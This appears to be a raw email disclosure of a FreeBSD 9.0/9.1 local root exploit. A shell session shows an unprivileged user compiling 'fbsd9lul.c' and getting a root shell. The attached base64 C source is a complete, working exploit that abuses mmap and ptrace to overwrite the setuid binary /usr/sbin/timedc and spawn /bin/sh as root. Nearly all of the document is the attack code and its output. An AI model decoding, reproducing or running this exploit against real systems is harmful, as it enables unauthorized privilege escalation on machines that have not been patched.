--047d7b6d84e8e5d0e304df8892e1
Content-Type: text/plain; charset=ISO-8859-1
$ uname -a
FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
4 09:23:10 UTC 2012
root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
$ id
uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
$ gcc fbsd9lul.c -o fbsd9lul
$ ./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul@hunger.hu>
# id
uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
#
--047d7b6d84e8e5d0e304df8892e1
Content-Type: text/x-csrc; charset=US-ASCII; name="fbsd9lul.c"
Content-Disposition: attachment; filename="fbsd9lul.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_hi50ufz00
LyoNCiAqIEZyZWVCU0QgOS57MCwxfSBtbWFwL3B0cmFjZSBleHBsb2l0DQogKiBieSBIdW5nZXIg
PGZic2Q5bHVsQGh1bmdlci5odT4NCiAqDQogKiBIYXBweSBCaXJ0aGRheSBGcmVlQlNEIQ0KICog
Tm93IHlvdSBhcmUgMjAgeWVhcnMgb2xkIGFuZCB5b3VyIHNlY3VyaXR5IGlzIHRoZSBzYW1lIGFz
IDIwIHllYXJzIGFnby4uLiA6KQ0KICoNCiAqIEdyZWV0aW5ncyB0byAjbm9odXAsIF8yNTAxLCBi
b2xkaSwgZWF4LCBqb2hubnlfYiwga29ja2EsIG9wLCBwaXBhY3MsIHByb2YsDQogKiAgICAgICAg
ICAgICAgc2QsIHNnaGN0b21hLCBzbnEsIHNwZW5kZXIsIHMyY3JldyBhbmQgb3RoZXJzIGF0ICNo
ZWtrY2FtcDoNCiAqICAgICAgICAgICAgICAgICAgICAgIEkgaG9wZSB3ZSdsbCBtZWV0IGFnYWlu
IGF0IDhAMTQ3MG4gOykNCiAqDQogKiBTcGVjaWFsIHRoYW5rcyB0byBwcm9hY3RpdmVzZWMuY29t
DQogKg0KICovDQoNCiNpbmNsdWRlIDxlcnIuaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1
ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQoj
aW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDxzeXMvc3Rh
dC5oPg0KI2luY2x1ZGUgPHN5cy9tbWFuLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5j
bHVkZSA8c3lzL3B0cmFjZS5oPg0KI2luY2x1ZGUgPHN5cy93YWl0Lmg+DQoNCiNkZWZpbmUgU0gg
Ii9iaW4vc2giDQojZGVmaW5lIFRHICIvdXNyL3NiaW4vdGltZWRjIg0KDQppbnQNCm1haW4oaW50
IGFjLCBjaGFyICoqYXYpIHsNCiAgIGludCBmcm9tX2ZkLCB0b19mZCwgc3RhdHVzOw0KICAgc3Ry
dWN0IHN0YXQgc3Q7DQogICBzdHJ1Y3QgcHRyYWNlX2lvX2Rlc2MgcGlvZDsNCiAgIGNoYXIgKnMs
ICpkOw0KICAgcGlkX3QgcGlkOw0KDQogICBpZiAoZ2V0ZXVpZCgpID09IDApICB7DQogICAgICAg
IHNldHVpZCgwKTsNCiAgICAgICAgZXhlY2woU0gsIFNILCBOVUxMKTsNCiAgICAgICAgcmV0dXJu
IDA7DQogICB9DQoNCiAgIHByaW50ZigiRnJlZUJTRCA5LnswLDF9IG1tYXAvcHRyYWNlIGV4cGxv
aXRcbiIpOw0KICAgcHJpbnRmKCJieSBIdW5nZXIgPGZic2Q5bHVsQGh1bmdlci5odT5cbiIpOw0K
DQogICBpZiAoKGZyb21fZmQgPSBvcGVuKGF2WzBdLCBPX1JET05MWSkpID09IC0xIHx8DQogICAg
ICAgICh0b19mZCA9IG9wZW4oVEcsIE9fUkRPTkxZKSkgPT0gLTEpDQogICAgICAgICAgICAgICAg
ZXJyKDEsICJvcGVuIik7DQoNCiAgIGlmIChzdGF0KGF2WzBdLCAmc3QpID09IC0xKQ0KICAgICAg
ICBlcnIoMiwgInN0YXQiKTsNCg0KICAgaWYgKCgocyA9IG1tYXAoTlVMTCwgKHNpemVfdClzdC5z
dF9zaXplLCBQUk9UX1JFQUQsDQogICAgICAgIE1BUF9TSEFSRUQsIGZyb21fZmQsIChvZmZfdCkw
KSkgPT0gTUFQX0ZBSUxFRCkgfHwNCiAgICAgICAgICAgICAgICAoZCA9IG1tYXAoTlVMTCwgKHNp
emVfdClzdC5zdF9zaXplLCBQUk9UX1JFQUQsDQogICAgICAgICAgICAgICAgICAgICAgICBNQVBf
U0hBUkVEfE1BUF9OT1NZTkMsIHRvX2ZkLCAob2ZmX3QpMCkpID09IE1BUF9GQUlMRUQpDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycigzLCAibW1hcCIpOw0KDQogICBpZiAoKHBp
ZCA9IGZvcmsoKSkgPT0gLTEpDQogICAgICAgIGVycig0LCAiZm9yayIpOw0KDQogICBpZiAoIXBp
ZCkgew0KICAgICAgICBpZiAocHRyYWNlKFBUX1RSQUNFX01FLCBwaWQsIE5VTEwsIDApID09IC0x
KQ0KICAgICAgICAgICAgICAgIGVycig1LCAicHRyYWNlbWUiKTsNCg0KICAgICAgICByZXR1cm4g
MDsNCiAgICAgICAgfQ0KDQogICBpZiAocHRyYWNlKFBUX0FUVEFDSCwgcGlkLCBOVUxMLCAwKSA9
PSAtMSkNCiAgICAgICAgZXJyKDYsICJwdGF0dGFjaCIpOw0KDQogICBpZiAod2FpdCgmc3RhdHVz
KSA9PSAtMSkNCiAgICAgICAgZXJyKDcsICJ3YWl0Iik7DQoNCiAgIHBpb2QucGlvZF9vcCA9IFBJ
T0RfV1JJVEVfRDsNCiAgIHBpb2QucGlvZF9vZmZzID0gZDsNCiAgIHBpb2QucGlvZF9hZGRyID0g
czsNCiAgIHBpb2QucGlvZF9sZW4gID0gc3Quc3Rfc2l6ZTsNCg0KICAgaWYgKHB0cmFjZShQVF9J
TywgcGlkLCAoY2FkZHJfdCkmcGlvZCwgMCkgPT0gLTEpDQogICAgICAgIGVycig4LCAicHRpbyIp
Ow0KDQogICBleGVjbChURywgVEcsIE5VTEwpOw0KDQogICByZXR1cm4gMDsNCn0NCg==
--047d7b6d84e8e5d0e304df8892e1--